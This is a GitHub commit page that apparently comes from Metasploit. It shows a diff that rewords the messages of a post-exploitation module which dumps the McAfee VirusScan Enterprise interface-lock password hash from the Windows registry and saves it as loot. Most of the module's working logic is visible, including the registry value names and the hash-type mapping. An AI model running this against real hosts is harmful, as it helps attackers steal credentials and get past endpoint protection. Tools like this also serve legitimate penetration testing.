Skip to content

Commit 683a541

Browse files
committed
Tighten up prints to make it specific to VSE, not McAfee in general
1 parent 52be3d8 commit 683a541

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/post/windows/gather/credentials/mcafee_hashdump.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ def initialize(info = {})
2121
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
2222
'Description' => %q(
2323
This module extracts the password hash from McAfee Virus Scan
24-
Enterprise used to lock down the user interface.
24+
Enterprise (VSE) used to lock down the user interface.
2525
),
2626
'License' => MSF_LICENSE,
2727
'Author' => [
@@ -37,17 +37,17 @@ def initialize(info = {})
3737
end
3838

3939
def run
40-
print_status("Looking for McAfee password hashes on #{sysinfo['Computer']} ...")
40+
print_status("Looking for McAfee VSE password hashes on #{sysinfo['Computer']} ...")
4141

4242
vse_keys = enum_vse_keys
4343
if vse_keys.empty?
44-
vprint_error("McAfee Virus Scan Enterprise not installed or insufficient permissions")
44+
vprint_error("McAfee VSE not installed or insufficient permissions")
4545
return
4646
end
4747

4848
hashes_and_versions = extract_hashes_and_versions(vse_keys)
4949
if hashes_and_versions.empty?
50-
vprint_error("No hashes extracted")
50+
vprint_error("No McAfee VSE hashes extracted")
5151
return
5252
end
5353
process_hashes_and_versions(hashes_and_versions)
@@ -72,13 +72,13 @@ def extract_hashes_and_versions(keys)
7272
keys.each do |key|
7373
hash = registry_getvaldata(key, "UIPEx")
7474
if hash.empty?
75-
vprint_error("No McAfee password hash found in #{key}")
75+
vprint_error("No McAfee VSE password hash found in #{key}")
7676
next
7777
end
7878

7979
version = registry_getvaldata(key, "szProductVer")
8080
if version.empty?
81-
vprint_error("No McAfee version key found in #{key}")
81+
vprint_error("No McAfee VSE version key found in #{key}")
8282
next
8383
end
8484
hash_map[hash] = Gem::Version.new(version)
@@ -97,11 +97,11 @@ def process_hashes_and_versions(hashes_and_versions)
9797
hashtype = 'dynamic_1405'
9898
version_name = 'v8'
9999
unless version >= VERSION_8 && version < VERSION_9
100-
print_warning("Unknown McAfee version #{version} - Assuming v8")
100+
print_warning("Unknown McAfee VSE version #{version} - Assuming v8")
101101
end
102102
end
103103

104-
print_good("McAfee #{version_name} (#{hashtype}) password hash: #{hash}")
104+
print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}")
105105

106106
credential_data = {
107107
post_reference_name: refname,
@@ -117,7 +117,7 @@ def process_hashes_and_versions(hashes_and_versions)
117117

118118
# Store McAfee password hash as loot
119119
loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash')
120-
print_status("McAfee password hash saved in: #{loot_path}")
120+
print_status("McAfee VSE password hash saved in: #{loot_path}")
121121
end
122122
end
123123
end

0 commit comments

Comments
 (0)